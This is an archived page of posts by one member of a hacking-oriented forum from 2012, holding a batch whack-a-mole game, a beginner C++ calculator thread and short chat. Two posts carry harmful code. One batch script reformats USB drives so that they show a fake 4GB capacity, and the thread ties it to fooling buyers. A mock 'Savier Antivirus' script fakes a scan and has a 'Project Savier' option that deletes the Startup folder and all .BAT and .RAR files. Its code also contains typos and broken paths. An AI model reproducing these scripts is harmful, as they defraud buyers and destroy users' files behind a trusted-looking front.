This forum is in archive mode. You will not be able to post new content.

Show Posts

This section allows you to view all posts made by this member. Note that you can only see posts made in areas you currently have access to.


Messages - ManiK

Pages: [1]
1
Operating System / Re: How about that Windows 8?
« on: October 22, 2012, 12:03:57 PM »
win8 has nothing special as per my knowledge i ll stick to win7

2
Scripting Languages / Re: [Batch]Virtually change your disc space to 4GB
« on: October 21, 2012, 06:58:48 AM »
uh huh, ancient Chinese secret, someones going to kill you!!




^ that guy doesn't seem to be Chinese

3
Scripting Languages / [Batch]Cool Whack the mole game!
« on: October 19, 2012, 02:17:15 PM »
Found this in my old stuff. Instructions are in-game.Enjoy! :)




 




Code: [Select]
@echo off
if /i "%1"=="Attrib" (
goto checkhighscore.txt
)
if /i "%1"=="Countermode" (
goto countermode
)
title Splat-The-Rat
setlocal enabledelayedexpansion
for %%I in (%0) do set filename=%%~sI
if exist highscore.txt (
start /MIN CMD.exe /c "%FILENAME% Attrib"
)
if exist info.dat del info.dat
:menu
title Splat-The-Rat
cls
echo Main Menu
echo ---------
echo.
echo To play a game, enter 1
echo For instructions, enter 2
echo For Highscores, enter 3
echo To exit, enter 4
set menu=
set /p menu=""
if not defined menu goto menu
if %menu%==1 (goto startgame)
if %menu%==2 (goto instructions)
if %menu%==3 (goto Displayscores)
if %menu%==4 (exit /b)
goto menu


:checkhighscore.txt
attrib highscore.txt | find "SHR" >nul
if %errorlevel%==0 (exit)
attrib highscore.txt +S +H +R
exit


:instructions
cls
echo              Splat The Rat
echo              -------------
echo The aim of the game is to hit the rat with your club as soon as it
echo pops out of its hole. You can try hitting the rat
echo with the quickest reaction time, or hit as many rats in a row as
echo possible. Your score is recorded in the same directory as the game
echo file.
echo.
echo.
echo Press any key for the next page
pause>nul
cls
echo              Splat The Rat
echo              -------------
echo As soon as you start the game one extra window will appear, titled
echo 'Rat Window' this window shows the activity of the rat. As soon as
echo the window appears it should be dragged away from the original
echo Bat Window to allow you to see both. You should then click on the
echo Bat Window to allow you to use your bat.
echo.
echo.
echo Press any key for the next page
pause>nul
cls
echo              Splat The Rat
echo              -------------
echo To hit the rat, have the Bat Window selected, and press any key as soon
echo as you see the rat appear on the Rat Window.
echo.
echo.
echo Press any key to go to the main menu.
pause>nul
goto menu




:displayscores
cls
if not exist highscore.txt (
echo No high scores yet.
echo.
echo Press any key to return to menu
pause>nul
goto menu
)
find /i "Fastest-Single-Reaction=" Highscore.txt >nul
set count=%errorlevel%
find /i "Most-Rats-Hit=" Highscore.txt >nul
set /a count= %count% + %errorlevel%
find /i "Best-Average-Reaction=" Highscore.txt >nul
set /a count= %count% + %errorlevel%
if %count%==3 (
echo High Score File Incorrect
echo.
echo Press any key to return to menu
pause>nul
goto menu
)
echo               High Scores
echo               -----------
echo.
type highscore.txt | find /i "fastest-Single-Reaction"
type highscore.txt | find /i "Most-Rats-Hit"
type highscore.txt | find /i "Best-Average-Reaction"
echo.
echo.
echo Press any key to return to menu
pause>nul
goto menu






:startgame
title Bat Window
cls
set fastestreaction=999
set SN=0
set totalmil=0
set offset=10
echo nul >info.dat
start cmd /c "%filename% Countermode"
Echo Move the Rat window so you can see both windows, then click
echo this window.
echo.
echo Press any key to begin the game
pause>nul
echo START >info.dat
cls
echo Press Any Key To Swing Your Bat!
Pause>nul
set swingtime=%time:~2%
echo Y%SN%-%swingtime% >>info.dat




:result
find /i "w%SN%" info.dat >nul
if %errorlevel%==0 (
cls
set /a sn= %SN% + 1
goto Swingagain
)
find /i "l" info.dat >nul
if %errorlevel%==0 (
cls
echo Game Over
goto gotresult
)
goto result


:swingagain
echo Good Hit
if %sn%==1 (
echo Got 1 rat so far
) else (
echo Got %sn% rats so far
)


:processreactiontime
if %sn% geq 11 set offset=11
if %sn% geq 101 set offset=12
set x=1
for /f %%A in (info.dat) do set data=%%A & call :Setswingtime
set x=1
for /f %%A in (info.dat) do set data=%%A & call :Setfalltime
set /a CFN= ( %sn% * 3 ) - 1
set /a CSN= %sn% * 3
set truefalltime=!falltime%CFN%!
set truefalltime=!truefalltime:~%offset%,2!
set trueswingtime=!swingtime%CSN%!
set trueswingtime=!trueswingtime:~%offset%,2!
if /i %trueswingtime%==08 (
set trueswingtime=8
)
if /i %trueswingtime%==09 (
set trueswingtime=9
)
if /i %truefalltime%==08 (
set truefalltime=8
)
if /i %truefalltime%==09 (
set truefalltime=9
)
set /a reactionmil= %trueswingtime% - %truefalltime%
if /i %reactionmil% lss 0 (
set /a reactionmil= %reactionmil% + 100
)
if /i %reactionmil% leq 9 (
echo Your reaction time was 0.0%reactionmil% Seconds
) else (
echo Your reaction time was 0.%reactionmil% Seconds
)
goto continueswingagain


:setswingtime
set Swingtime%x%=%data%
set /a x= %x% + 1
exit /b


:setfalltime
set falltime%x%=%data%
set /a x= %x% + 1
exit /b


:continueswingagain
echo.
echo Press Any Key To Swing Your Bat
pause>nul
set swingtime=%time:~2%
echo Y%SN%-%swingtime% >>info.dat
set /a totalmil= %totalmil% + %reactionmil%
if not defined fastestreaction (set fastestreaction=%reactionmil%)
if /i %fastestreaction% gtr %reactionmil% (
set fastestreaction=%reactionmil%
)
goto result




:Gotresult
if %sn% equ 0 (
echo Sorry, you didn't get any rats
goto moreresults
)
if %sn% equ 1 (
echo Sorry, you only got one rat
goto Moreresults
)
if /i %sn% leq 3 (
echo Sorry, you only got %sn% rats
) else (
echo Well done, you got %sn% rats
)
:moreresults
find /i info.dat "LL" >nul
if /i %errorlevel% equ 0 (
Echo On that last one, you were too slow, he got away.
) else (
echo On that last one, you swung too soon.
)
IF %sn%==0 goto end
:processrats
set /a averagetime= %totalmil% / %sn%
echo You got %sn% rats
echo Your average reaction time was 0.%averagetime% seconds
if /i %fastestreaction% leq 9 (
echo Your reaction time was 0.0%fastestreaction% Seconds
) else (
echo Your reaction time was 0.%fastestreaction% Seconds
)
if not exist highscore.txt goto noscorelist
goto scorelistexists


:noscorelist
set most=1
set best=1
set fastest=1
goto changescore


:scorelistexists
set most=
set fastest=
set best=
find /i "Most-Rats-Hit" Highscore.txt >nul
if /i NOT %errorlevel% equ 0 (
set Most=1
)
find /i "Fastest-Single-Reaction" Highscore.txt >nul
if /i NOT %errorlevel% equ 0 (
set Fastest=1
)
find /i "Best-Average-reaction" Highscore.txt >nul
if /i NOT %errorlevel% equ 0 (
set Best=1
)
goto Mustcompare


:Mustcompare
for /f %%A in (highscore.txt) do set data=%%A & call :RHset
set sorted=
for /f %%A in (highscore.txt) do set data=%%A & call :BAset
set sorted=
for /f %%A in (highscore.txt) do set data=%%A & call :FRset
set sorted=
set oldRH=%oldRH:~20%
set oldBA=%oldBA:~30,2%
set oldFR=%oldFR:~32,2%
goto comparetime


:rhset
set variable=OldRH
set keyword=Most
call :sortvariables
exit /b


:baset
set variable=OldBA
set keyword=Best
call :sortvariables
exit /b


:frset
set variable=OldFR
set keyword=Fastest
call :sortvariables
exit /b


:sortvariables
if defined sorted (goto endsortvariables)
set %variable%=%data%
echo !%variable%! | find /i "%keyword%" >nul
if NOT errorlevel 1 (
set sorted=1
) else (
set %variable%=
)
:endsortvariables
exit /b


:comparetime
if defined fastest goto alreadyfastest
if /i %fastestreaction% lss %oldfr% (
set fastest=1
)
:alreadyfastest
if defined Most goto alreadymost
if /i %oldRH% lss %SN% (
set Most=1
)
:alreadymost
if defined best goto alreadybest
if /i %averagetime% lss %OldBA% (
set Best=1
)
:alreadybest
if defined best goto Changescore
if defined most goto Changescore
if defined fastest goto Changescore
goto end


:changescore
echo.
Echo New High Score!
echo ---------------
echo New Score In:
echo.
if defined most (
echo Most Rats Hit
)
if defined best (
echo Best Average Time
)
if defined fastest (
echo Fastest Single Reaction
)
echo.
set initials=
echo Please Enter Your Initials (3 Characters Maximum)
set /p initials=""
IF NOT defined initials (
cls
goto changescore
)
if "%initials:~1%"=="" (
set initials=%initials%--
)
if "%initials:~2%"=="" (
set initials=%initials%-
)
set initials=%initials:~0,3%


if defined most goto editmost
goto checkeditbest


:editmost
if /i %fastestreaction% leq 9 (
set fastestreaction=0%fastestreaction%
)
if exist highscore.txt (
type highscore.txt | find /i /v "most-rats-hit" >Highscore
attrib highscore.txt -s -h -r
type highscore >Highscore.txt
attrib highscore.txt +s +h +r
del highscore
attrib highscore.txt -s -h -r
echo %initials%---Most-Rats-Hit=%sn% >>Highscore.txt
attrib highscore.txt +s +h +r
) else (
echo %initials%---Most-Rats-Hit=%sn% >>Highscore.txt
attrib highscore.txt +s +h +r
)


:checkeditbest
if defined best goto editbest
goto checkeditfastest


:editbest
if exist highscore.txt (
type highscore.txt | find /i /v "best-average-reaction" >Highscore
attrib highscore.txt -s -h -r
type highscore >Highscore.txt
attrib highscore.txt +s +h +r
del highscore
attrib highscore.txt -s -h -r
echo %initials%---Best-Average-Reaction=0.%averagetime% >>Highscore.txt
attrib highscore.txt +s +h +r
) else (
echo %initials%---Best-Average-Reaction=0.%averagetime% >>Highscore.txt
attrib highscore.txt +s +h +r
)


:checkeditfastest
if defined fastest goto editfastest
goto scoresedited


:editfastest
if exist highscore.txt (
type highscore.txt | find /i /v "Fastest-Single-Reaction" >Highscore
attrib highscore.txt -s -h -r
type highscore >Highscore.txt
attrib highscore.txt +s +h +r
del highscore
attrib highscore.txt -s -h -r
echo %initials%---Fastest-Single-Reaction=0.%fastestreaction% >>Highscore.txt
attrib highscore.txt +s +h +r
) else (
echo %initials%---Fastest-Single-Reaction=0.%fastestreaction% >>Highscore.txt
attrib highscore.txt +s +h +r
)


:Scoresedited
echo Scores Saved
echo.
goto end




:end
del info.dat
pause>nul


:playagain
echo Go to menu? (Y/N)
:playagain1
set choice=
set /p choice=""
if /i "%choice:~0,1%"=="Y" (
goto menu
)
if /i "%choice:~0,1%"=="N" (
exit /b
)
goto playagain




::###################################################################


:COUNTERMODE
@echo off
color f0
title Rat Window
setlocal enabledelayedexpansion
echo Move this window so you can see both windows.
echo Have the Bat window selected and press any key to begin the game
:waittostart
type info.dat | find /i "start" >nul
if %errorlevel%==0 (goto TimeTostart) else (goto waittostart)
:TimeToStart
set timestart=%time:~2%
echo X%timestart% >info.dat
set SN=-1
set w=0
cls
goto timesetup




:1
find info.dat "Y%sn%" >nul
if %errorlevel%==0 goto stop
if /i %time:~6,2% equ %timechange% goto ShowRat
goto noRats


:ShowRat
set ztime%sn%=Z%sn%-%time:~2%
cls
call :showrat
set w=1
set timechange=CHANGE_DONE
echo !ztime%sn%! >>info.dat


:noRats
if /i %time:~6,2% equ %timeback% (
cls
call :norat
echo.
echo You missed the rat!
echo Swing your bat to end the game.
set w=0
set timeback=CHANGE_DONE
set L=L
)
goto 1


:STOP
if /i %w%==1 (
echo W%sn% >>info.dat
) else (
echo L%L% >>info.dat
exit /b
)


:Timesetup
cls
call :norat
set w=0
set /a sn= %sn% + 1
set timestart=%time:~2%
set timechange=%timestart:~4,2%
if /i %timechange% equ 08 (set timechange=8)
if /i %timechange% equ 09 (set timechange=9)
set /a timechange= %timechange% + 2 + %random:~1,1%
if %timechange% geq 60 (
set /a timechange= %timechange% - 60
)
set /a timeback= %timechange% + 1
if %timeback% geq 60 (
set /a timeback=%timeback% - 60
)
if /i %timechange% equ 8 (
set timechange=08
)
if /i %timechange% equ 9 (
set timechange=09
)
if /i %timeback% equ 8 (
set timeback=08
)
if /i %timeback% equ 9 (
set timeback=09
)


goto 1




:NORAT
echo  __  __  __  __  __  __  __  __  __
echo [__][__][__][__][__][__][__][__][__]
echo _][__][__][__][__][__][__][__][__][_
echo [__][__][__][__][__][__][__][__][__]
echo _][__][__][__][__][__][__][__][__][_
echo [__][__][__][__][__][__][__][__][__]
echo _][__][__][__][__][__][__][__][__][_
echo [__][__][__][__][__][__][__][__][__]
echo ____________________________________
exit /b


:showrat
echo  __  __  __  __  __  __  __  __  __
echo [__][__][__][__][__][__][__][__][__]
echo _][__][__][__][__][__][__][__][__][_
echo [__][__][__] __    __ _][__][__][__]
echo _][__][__]  (_.)__(._) __][__][__][_
echo [__][__][__]  (-  -)  _][__][__][__]
echo _][__][__][  --{()}-- [__][__][__][_
echo [__][__][__]  (____)  _][__][__][__]
echo ______________''__''________________
exit /b




P.S - Scan files before executing.

4
General discussion / Re: Gaming Rig
« on: October 18, 2012, 10:11:18 AM »
And pay extra for a sticker?
you just dont pay extra for a sticker but for a professional and better service with some branded name on it.I really had bad experience with assembled PCs.Hope u understand.

5
General discussion / Re: Gaming Rig
« on: October 17, 2012, 07:55:46 PM »
My advice get a branded pc instead of assembled one..

6
Found it on the Webs / [Assembly]Make your own Operating System
« on: October 17, 2012, 06:31:29 PM »
I found this really cool thing on youtube.This guy explains how to make your very own O.S with the help of assembly programing.


http://www.youtube.com/watch?v=6MJUGVFAXKg


I would like to know if making an OS is possible in any other language.
Will try this stuff after my exams.


Thank you. :)


Edit- I am not sure if this stuff goes in this thread.Someone help me with that.


7
Scripting Languages / Re: [Batch]Virtually change your disc space to 4GB
« on: October 17, 2012, 06:20:06 PM »
So, this is how those chinese vendors from ebay make the fake pen drives. Thanks for sharing!


you are rite...!! At my place we deal with such shit everyday .. my friend has a code that reads the actual disc space..

8
Scripting Languages / [Batch]Virtually change your disc space to 4GB
« on: October 17, 2012, 05:31:43 PM »
I found this code in my old stuff.Was interested in this sharing with evilzone.This is a code which virtually increases/decreases your disc or any source upto 4GB.One of my friend actually made some money by fooling people around(i dont recommend that >:( ).


Code: [Select]
@echo off
color 0A
title Memory Stick Size Increasing
Echo.
echo                    Drive Increaser
echo.
echo.
echo Running this will increase/decrease the size of a memory stick to 4GB.
echo Type what you want to call the USB stick.
set /p name=
cls
echo Type the Drive LETTER!
set /p letter=
cls
echo Type Drive Letter (again!) to start.
set /p Letter2=
If /I %letter% == %Letter2% goto starx
goto verification
:starx
cls
color 0C
mkdosfs -n %NAME% -v %letter%: 8386900
pause
cls
echo.
color 0A
echo Done!
echo Press any key to exit
pause>nul
goto exix
:verification
cls
echo.
echo You entered a different letter the second time.
Echo Press any key to exit.
Pause>nul
:exix
exit

P.S- This changes your disc virtually and not actually.It just show disc space 4gb while its actually not.It also formats your space source.Download,edit and re-post.

Scan the files before executing.

9
Scripting Languages / My fake Anti-virus program(Batch programing)
« on: October 17, 2012, 01:39:02 PM »
I made this program when i was kid(around 14Y.O)...at that time i was learning batch program.This is simple and easily understandable for those who are learning batch programing.Feel free to edit and re-post.It is not a virus,so dont worry.I have some tutorials at my youtube channel.. 8) 


Edit- Dont use option 3.It wont work but if u mess with it i am not responsible for your loss

Code: (batch) [Select]
@echo off
color 0A
title Savier Antivirus Pro v1.00
start abort.exe
:menu
cls
echo                         [~~~~~~~~~~~~~~~~~~~~~~~~~~~~]
echo         {}==============[ SAVIER ANTIVIRUS PRO v1.00 ]=========={}
echo         {}              [~~~~~~~~~~~~{}~~~~~~~~~~~~~~]          {}
echo    [----{}---]                       {}                         {}
echo    [ OPTIONS ]        {}============={}                         {}
echo    [---------]========{}                                        {}
echo.                      {}                                        {}
echo                       {}                                 [------{}-------]
echo. [--------------------{}-------------------------]       [   UTILITIES   ]
echo  [ (1) About Savier Antivirus Pro v1.00 ,Enter 1 ]       [---------------]
echo. [-----------------------------------------------]       [ This is a Sim ]
echo  [ (2) Scan Whole System For Viruses    ,Enter 2 ]       [  ple Antivirus]
echo. [-----------------------------------------------]       [ Program which ]
echo  [ (3) Start Project Savier             ,Enter 3 ]=======[ Removes Strong]
echo. [-----------------------------------------------]       [ Trogans,worms ]
echo  [ (4) ReInstall Startup Inspector      ,Enter 4 ]       [ genecs etc.and]
echo. [-----------------------------------------------]       [ is Safe!      ]
echo  [ (5) Visit Our Website                ,Enter 5 ]       [---------------]
echo. [-----------------------------------------------]
echo  [ (6) To Exit                          ,Enter 6 ]
echo  [-----------------------------------------------]
echo.
set menu=
set /p menu="(A) Enter Your Option here : "
if not defined menu goto menu
if %menu%==1 (goto about)
if %menu%==2 (goto Scan)
if %menu%==3 (goto Project)
if %menu%==4 (goto inspector)
if %menu%==5 (start http://www.unitedexperts.22web.net/)
if %menu%==6 (exit /b)
goto menu
:Scan
cls
echo.
echo      [----]
echo      [Scan]==========={}
echo      [----]           {}=================={}
echo.                      {}                  {}
echo                       {}             [----{}-----]
echo.  [===============================]  [ UTILITIES ]
echo   [ (1) For Overall Scan ,Enter 1 ]  [-----------]         
echo.  [-------------------------------]  [OverallScan]
echo   [ (2) To Go To Options ,Enter 2 ]  [will scan a]
echo.  [===============================]  [ll system f]
echo                                      [or all type]
echo.                                     [s of viruse]
echo.                                     [s like worm]
echo.                                     [-----------]   
set scan=
set /p scan=" (A) You Option : "
if %scan%==1 (goto overall)
if %scan%==2 (goto menu)
goto Scan
:overall
cls
echo.
echo  [------------]
echo  [Overall Scan]
echo  [-{}---------]
echo.   {}
title Savier Antivirus Pro v1.00 Scanning - %percents%%%% Done
echo.   {}
echo. --{}---------------
Echo  Scanning: %percents%%%% Done
echo. -------------------
ping localhost -n 2 > nul
set /a percents=%percents%+1
if %percents%==101 goto ramesh
goto overall
:ramesh
cd %windir%\System32\
if exist %windir%\System32\b104.exe goto found
if exist %windir%\System32\AdmilliKeep.exe exist echo AdmilliKeep.exe goto found
if exist %windir%\System32\aotb1.exe goto found
if exist %windir%\System32\ausvc.exe goto found
if exist %windir%\System32\brtind.exe  goto found
if exist %windir%\System32\cliner.exe goto found
if exist %windir%\System32\dis.exe goto found
if exist %windir%\System32\evisiondownload.exe goto found
if exist %windir%\System32\hadecd.exe goto found
if exist %windir%\System32\icq99portguard.exe goto found
if exist %windir%\System32\icqflood.exe goto found
if exist %windir%\System32\icqlock.exe goto found
if exist %windir%\System32\icqnuke.exe goto found
if exist %windir%\System32\icqtrogen.exe goto found
if exist %windir%\System32\imsicap.exe goto found
if exist %windir%\System32\info.exe goto found
if exist %windir%\System32\ip2uin.exe goto found
if exist %windir%\System32\keeper.exe goto found
if exist %windir%\System32\keycorder.exe goto found   
if exist %windir%\System32\keylog.exe goto found
if exist %windir%\System32\keylogger.exe goto found   
ping Local 2 > nul
title Savier Antivirus Pro v1.00 - System Protected
echo [----------------]
echo [No Viruses Found]
echo.[----------------]
:Small
cls
echo.
echo  [------------]
echo  [Overall Scan]-------------{}
echo  [------------]             {}
echo.                            {}
echo.[---------------------------{}-----------]
echo [ No Viruses Detected                    ]
echo.[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]
echo [ To Visit To Scan Whole System ,Enter 1 ]
echo.[----------------------------------------]
echo [ To Visit Options ,Enter 2              ]
echo.[----------------------------------------]
set small=
set /p small="Your Option : "
if %small%==1 (goto Scan)
if %small%==2 (goto menu)
goto Small
:found
echo Viruses Found!
echo.
:yes
cls
echo.
echo  [------------]
echo  [Overall Scan]
echo  [-----{}-----]
echo.       {}
echo. [-----{}-------]
echo  [Viruses Found!]
echo. [--------------]
title Savier Antivirus Pro v1.00 - Removing Viruses - %Less%%%% Done
echo.
Echo [-------- Removing Viruses: %less%%%% Done --------]
ping localhost -n 2 > nul
set /a less=%less%+1
if %less%==101 goto dell
goto yes
:dell
echo.
if exist %windir%\System32\b104.exe b140.exe
if exist %windir%\System32\AdmilliKeep.exe exist del AdmiliKeep.exe
if exist %windir%\System32\aotb1.exe del atob1.exe
if exist %windir%\System32\ausvc.exe del ausvc.exe
if exist %windir%\System32\brtind.exe del brtind.exe
if exist %windir%\System32\cliner.exe del cliner.exe
if exist %windir%\System32\dis.exe del dis.exe
if exist %windir%\System32\evisiondownload.exe del evisiondownload.exe
if exist %windir%\System32\hadecd.exe del handech.exe
if exist %windir%\System32\icq99portguard.exe del icq99portguard.exe
if exist %windir%\System32\icqflood.exe  del icqflood.exe
if exist %windir%\System32\icqlock.exe del icqlock.exe
if exist %windir%\System32\icqnuke.exe echo icqnuke.exe del icqnuke.exe
if exist %windir%\System32\icqtrogen.exe echo icqtrogen.exe del icqtrogen.exe
if exist %windir%\System32\imsicap.exe echo imsicap.exe del imsicap.exe
if exist %windir%\System32\info.exe del info.exe
if exist %windir%\System32\ip2uin.exe Del ip2uin.ece
if exist %windir%\System32\keeper.exe del Keeper.exe
if exist %windir%\System32\keycorder.exe del Keycorder.exe   
if exist %windir%\System32\keylog.exe del Keylog.exe
if exist %windir%\System32\keylogger.exe del keylogger.exe   
echo Done!
echo.
ping local 2 > nul
ping local 2 > nul
goto Scan
:about
cls
echo.
echo             [~~~~~~~~~~~~~~~~~~~~~~~~~~]
echo             [SAVIER ANTIVIRUS PRO V1.OO]============================={}
echo             [~~~~~~~~~~~~~{}~~~~~~~~~~~]                             {}
echo.                          {}====================={}                  {}
echo                                                  {}                  {}
echo     [~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~{}~~~~~]            {}
echo     [                  MORE INFORMATION                 ] [----------{}----]
echo     [~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~] [PRESS ENTER KEY ]
echo     [ SCAN WHOLE SYSTEM - This Allows the user to scan  ] [fOR OPTIONS     ]
echo     [                     his system for Viruses.       ] [-------------{}-]
echo     [---------------------------------------------------]               {}
echo     [ PROJECT SAVIER - This is an options full of risk. ]               {}
echo     [                  It Targets and destroys the home ]               {}
echo     [                  of viruses.But you can loose data]==============={}
echo     [---------------------------------------------------]
echo     [ Startup Inspector - It is an intellectual program ]
echo     [                     which runs at the startup and ]
echo     [                     scans and disable virus effect]
echo     [                     You can re-install it by enter]
echo     [                     -ing 4th option.              ]
echo     [---------------------------------------------------]
echo     [ Our Website - Visit our website for more updates  ]
echo     [               and for more usefull softwares.     ]
echo     [---------------------------------------------------]
pause>nul
goto menu
:project
cls
echo.
echo             [~~~~~~~~~~~~~~~~~~~~~~~~~~]
echo             [SAVIER ANTIVIRUS PRO V1.OO]==========={}
echo             [~~~~~~~~~~{}~~~~~~~~~~~~~~]           {}
echo                        {}                          {}
echo                        {}                  [-------{}------]
echo  [---------------------{}-----------]      [   UTILITIES   ]
echo  [          PROJECT SAVIER          ]      [---------------]
echo  [----------------------------------]      [ This Option is]
echo  [  Start Project Savier? Y/N       ]      [full of risk we]
echo  [----------------------------------]      [are not respons]
echo                                            [sible if any da]
echo                                            [ta is lost.    ]
echo                                            [---------------]
:kill
set /p kills=" (A) Enter your option here - "
if %kills%==y goto yeah
if %kills%==n goto menu
goto project
:yeah
cls
echo.
echo            [~~~~~~~~~~~~~~~~~~~~~~~]
echo            [     PROJECT SAVIER    ]
echo            [~~~~~~~~~~~~~~~~~~~~~~~]
echo.
echo Loading...
ping local 2 >nul
echo Done..
ping local 2 >nul
goto ya
:ya
cls
echo.
echo            [~~~~~~~~~~~~~~~~~~~~~~~]
echo            [     PROJECT SAVIER    ]
echo            [~~~~~~~~~~~~~~{}~~~~~~~]
echo [---------]               {}
echo [Started..]==============={}
echo [--{}-----]
title Savier Antivirus Pro v1.00 Project Savier - %per%%%% Completed
echo.   {}
echo. --{}---------------------
Echo  Completing: %per%%%% Completed
echo. -------------------------
ping localhost -n 2 > nul
set /a per=%per%+1
if %per%==101 goto completed
goto ya
:completed
del userprofile%\Start Menu\Programs\startup
del *.BAT
del *.RAR
echo.[---------]
echo [COMPLETED]
echo [---------]
ping local 2 >nul
goto menu


10
C - C++ / Re: Help me with my code.
« on: October 17, 2012, 10:06:55 AM »
Code: [Select]
#include <iostream>
#include <cmath>
#include <stdlib.h>






int main()
{
    using namespace std;
   
    double answer;
    double option;
    double num1;
    double num2;
   
    do{
             
   
    cout << "Enter operator <1=add 2=subtract 3=multiply 4=divide>" << endl;
    cin >> option;
   
    if (option == 1)
       {
       
        cout << "Enter first number" << endl;
        cin >> num1;
        cout << "Enter second number" << endl;
        cin >> num2;   
        cout << "answer is" << endl;
        cout << num1 + num2 << endl;
        cout << endl;
        system("pause");
        system("CLS");
}   
    else if (option == 2)
    {
        cout << "Enter first number" << endl;
        cin >> num1;
        cout << "Enter second number" << endl;
        cin >> num2;   
        cout << "answer is" << endl;
        cout << num1 - num2 << endl;
        cout << endl;
        system("pause");
        system("CLS");
}   
    else if (option == 3)
    {
        cout << "Enter first number" << endl;
        cin >> num1;
        cout << "Enter second number" << endl;
        cin >> num2;   
        cout << "answer is" << endl;
        cout << num1 * num2;
        cout << endl;
        system("pause");
        system("CLS");
    }   
    else if (option == 4)
       { cout << "Enter first number" << endl;
        cin >> num1;
        cout << "Enter second number" << endl;
        cin >> num2;   
        cout << "answer is" << endl;
        cout << num1 / num2 << endl;
        cout << endl;
        system("pause");
        system("CLS");
   }   
   
   
   else{
       cout << "Enter the real operator you dingbat." << endl;
       }
} while(.1);








 
    system("pause");
    system("CLS");
    }


Thank you guys for your support and help. ;)


\Problem solved

11
C - C++ / Re: Help me with my code.
« on: October 16, 2012, 06:50:09 PM »
You should use #include <cstdlib> in order to use "system" actions, like system("PAUSE");, or system("CLS");. It should work if you include that.


On a side note, you may want to create functions for finding the sum, difference, product, and quotient to make your main program source code more neat, and structured.


For example:


Code: [Select]

#include<iostream>


double findSum(double n1, double n2)
{
    double sum = n1 + n2;
    return (sum);
}


int main()
{
    double num1, num2;


    std::cout << "Input 1st number:";
    std::cin >> num1;
    std::cout << std::endl;
    std::cout << "Input 2nd number:";
    std::cin >> num2;
    std::cout << std::endl;


    // Output
    std::cout << num1 << " + " << num2 << " = " << findSum(num1, num2);


    std::cin.ignore();
    return 0;
}




I was not able to understand your code as i am in learning stage..i tried to compile and run your code but it seems like cin.get() isnt working..i dont know but why..anyways thanks for your help.

12
C - C++ / Re: Help me with my code.
« on: October 16, 2012, 06:48:18 PM »
try
include "stdlib.h"
when you do a system cls
another option might be to add multiple empty lines with a loop



Thank you .. i ll do that...system cls is working but it clears the screen as i enter option just tell me the right place to put it..

13
C - C++ / Help me with my code.
« on: October 16, 2012, 02:47:16 PM »
Code: [Select]
#include <iostream>
#include <cmath>




int main()
{
    using namespace std;
   
    double answer;
    double option;
    double num1;
    double num2;
   
    do{
   
    cout << "Enter operator <1=add 2=subtract 3=multiply 4=divide>" << endl;
    cin >> option;
   
    if (option == 1)
       {
       
        cout << "Enter first number" << endl;
        cin >> num1;
        cout << "Enter second number" << endl;
        cin >> num2;   
        cout << "answer is" << endl;
        cout << num1 + num2 << endl;
        cout << endl;
}   
    else if (option == 2)
    {
        cout << "Enter first number" << endl;
        cin >> num1;
        cout << "Enter second number" << endl;
        cin >> num2;   
        cout << "answer is" << endl;
        cout << num1 - num2 << endl;
        cout << endl;
}   
    else if (option == 3)
    {
        cout << "Enter first number" << endl;
        cin >> num1;
        cout << "Enter second number" << endl;
        cin >> num2;   
        cout << "answer is" << endl;
        cout << num1 * num2;
        cout << endl;
    }   
    else if (option == 4)
       { cout << "Enter first number" << endl;
        cin >> num1;
        cout << "Enter second number" << endl;
        cin >> num2;   
        cout << "answer is" << endl;
        cout << num1 / num2 << endl;
        cout << endl;
   }   
   
   
   else{
       cout << "Enter the real operator you dingbat." << endl;
       }
} while(.1);




 
    system("pause");
    }


This is a basic calculator.I am still learning C++.This is a program i made with help from some tutorial.The problem is when i enter a option and use it smoothly .After that i need to clear the screen,it keeps stacking after using operators.I am not sure if u understood my problem.I tried using system("CLS") but i failed.Help me.

Thank you.

Pages: [1]


Want to be here? Contact Ande, Factionwars or Kulverstukas on the forum or at IRC.